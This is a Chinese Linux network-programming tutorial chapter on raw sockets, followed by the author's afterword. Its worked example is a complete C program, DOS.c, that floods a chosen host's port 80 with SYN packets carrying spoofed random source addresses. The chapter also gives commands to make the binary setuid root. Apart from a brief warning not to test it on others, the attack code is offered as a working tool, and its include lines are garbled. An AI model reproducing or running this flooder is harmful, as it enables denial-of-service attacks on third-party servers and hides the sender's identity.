Linux网络编程--10. 原始套接字 --11. 后记

Linux网络编程--10. 原始套接字 --11. 后记http://linuxc.51.net 作者:hoyt (2001-05-08 11:26:09)10. 原始套接字  
    我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面我们一起来学习另外一种套接字--原始套接字(SOCK_RAW). 应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能. 注意原始套接字只能够由有root权限的人创建.  

10.1 原始套接字的创建  

 int sockfd(AF_INET,SOCK_RAW,protocol)<span style="background-color: rgb(255, 255, 255); font-family: Arial, Helvetica, sans-serif; font-size: 12px;"> </span>

可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.详细的情况查看  下面我们以一个实例来说明原始套接字的创建和使用  

10.2 一个原始套接字的实例  
还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程序. 下面是程序的源代码  

/********************  DOS.c               *****************/ #include  #include  #include  #include  #include  #include  #include  #include  #include  #define DESTPORT        80       /* 要攻击的端口(WEB)      */ #define LOCALPORT       8888 void send_tcp(int sockfd,struct sockaddr_in *addr); unsigned short check_sum(unsigned short *addr,int len); int main(int argc,char **argv) {  int sockfd;  struct sockaddr_in addr;  struct hostent *host;  int on=1;    if(argc!=2)  {         fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);         exit(1);  }    bzero(&addr,sizeof(struct sockaddr_in));  addr.sin_family=AF_INET;  addr.sin_port=htons(DESTPORT);    if(inet_aton(argv[1],&addr.sin_addr)==0)  {         host=gethostbyname(argv[1]);         if(host==NULL)         {                 fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));                 exit(1);         }         addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);  }    /**** 使用IPPROTO_TCP创建一个TCP的原始套接字    ****/  sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);  if(sockfd<0)  {         fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));         exit(1);  } /********  设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写  ***/   setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); /****  没有办法,只用超级护用户才可以使用原始套接字    *********/  setuid(getpid()); /*********  发送炸弹了!!!!          ****/  send_tcp(sockfd,&addr); }  /*******  发送炸弹的实现   *********/ void send_tcp(int sockfd,struct sockaddr_in *addr) {  char buffer[100];  /**** 用来放置我们的数据包  ****/  struct ip *ip;  struct tcphdr *tcp;  int head_len;    /******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度  ***/    head_len=sizeof(struct ip)+sizeof(struct tcphdr);    bzero(buffer,100);  /********  填充IP数据包的头部,还记得IP的头格式吗?     ******/   ip=(struct ip *)buffer;  ip->ip_v=IPVERSION;             /** 版本一般的是 4      **/  ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度  **/  ip->ip_tos=0;                   /** 服务类型            **/  ip->ip_len=htons(head_len);     /** IP数据包的长度      **/  ip->ip_id=0;                    /** 让系统去填写吧      **/  ip->ip_off=0;                   /** 和上面一样,省点时间 **/          ip->ip_ttl=MAXTTL;              /** 最长的时间   255    **/  ip->ip_p=IPPROTO_TCP;           /** 我们要发的是 TCP包  **/   ip->ip_sum=0;                   /** 校验和让系统去做    **/  ip->ip_dst=addr->sin_addr;      /** 我们攻击的对象      **/    /*******  开始填写TCP数据包                           *****/  tcp=(struct tcphdr *)(buffer +sizeof(struct ip));  tcp->source=htons(LOCALPORT);  tcp->dest=addr->sin_port;           /** 目的端口    **/  tcp->seq=random();  tcp->ack_seq=0;  tcp->doff=5;  tcp->syn=1;                        /** 我要建立连接 **/  tcp->check=0;    /** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^  **/  while(1)   {  /**  你不知道我是从那里来的,慢慢的去等吧!      **/     ip->ip_src.s_addr=random();       /** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */  /**            下面这条可有可无    */     tcp->check=check_sum((unsigned short *)tcp,                 sizeof(struct tcphdr));      sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));   } } /* 下面是首部校验和的算法,偷了别人的 */ unsigned short check_sum(unsigned short *addr,int len) {  register int nleft=len;  register int sum=0;  register short *w=addr;   short answer=0;    while(nleft>1)  {   sum+=*w++;   nleft-=2;  }  if(nleft==1)  {   *(unsigned char *)(&answer)=*(unsigned char *)w;   sum+=answer;  }     sum=(sum>>16)+(sum&0xffff);  sum+=(sum>>16);  answer=~sum;  return(answer); } 

编译一下,拿localhost做一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普通用户可以运行这个程序,我们应该将这个程序的所有者变为root,且 设置setuid位  

 [root@hoyt /root]#chown root DOS 
 [root@hoyt /root]#chmod +s DOS 


10.3 总结  
原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了. 不过这里面是不是有很多的乐趣呢. 当我们创建了一个TCP套接字的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统. 系统在收到我们的数据后,回自动的调用相应的模块给数据加上TCP头部,然后加上IP头部. 再发送出去.而现在是我们自己创建各个的头部,系统只是把它们发送出去. 在上面的实例中,由于我们要修改我们的源IP地址,所以我们使用了setsockopt函数,如果我们只是修改TCP数据,那么IP数据一样也可以由系统来创建的.  

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11. 后记 
  总算完成了网络编程这个教程.算起来我差不多写了一个星期,原来以为写这个应该是一件 不难的事,做起来才知道原来有很多的地方都比我想象的要难.我还把很多的东西都省略掉了 不过写完了这篇教程以后,我好象对网络的认识又增加了一步.  

  如果我们只是编写一般的 网络程序还是比较容易的,但是如果我们想写出比较好的网络程序我们还有着遥远的路要走. 网络程序一般的来说都是多进程加上多线程的.为了处理好他们内部的关系,我们还要学习 进程之间的通信.在网络程序里面有着许许多多的突发事件,为此我们还要去学习更高级的 事件处理知识.现在的信息越来越多了,为了处理好这些信息,我们还要去学习数据库. 如果要编写出有用的黑客软件,我们还要去熟悉各种网络协议.总之我们要学的东西还很多很多.  

  看一看外国的软件水平,看一看印度的软件水平,宝岛台湾的水平,再看一看我们自己的 软件水平大家就会知道了什么叫做差距.我们现在用的软件有几个是我们中国人自己编写的.   

  不过大家不要害怕,不用担心.只要我们还是清醒的,还能够认清我们和别人的差距, 我们就还有希望. 毕竟我们现在还年轻.只要我们努力,认真的去学习,我们一定能够学好的.我们就可以追上别人直到超过别人!  

相信一点:  

            别人可以做到的我们一样可以做到,而且可以比别人做的更好!  

   勇敢的年轻人,为了我们伟大祖国的软件产业,为了祖国的未来,努力的去奋斗吧!祖国会记住你们的!  


hoyt  

11.1 参考资料  
<<实用UNIX编程>>---机械工业出版社.  

<>--清华大学出版社.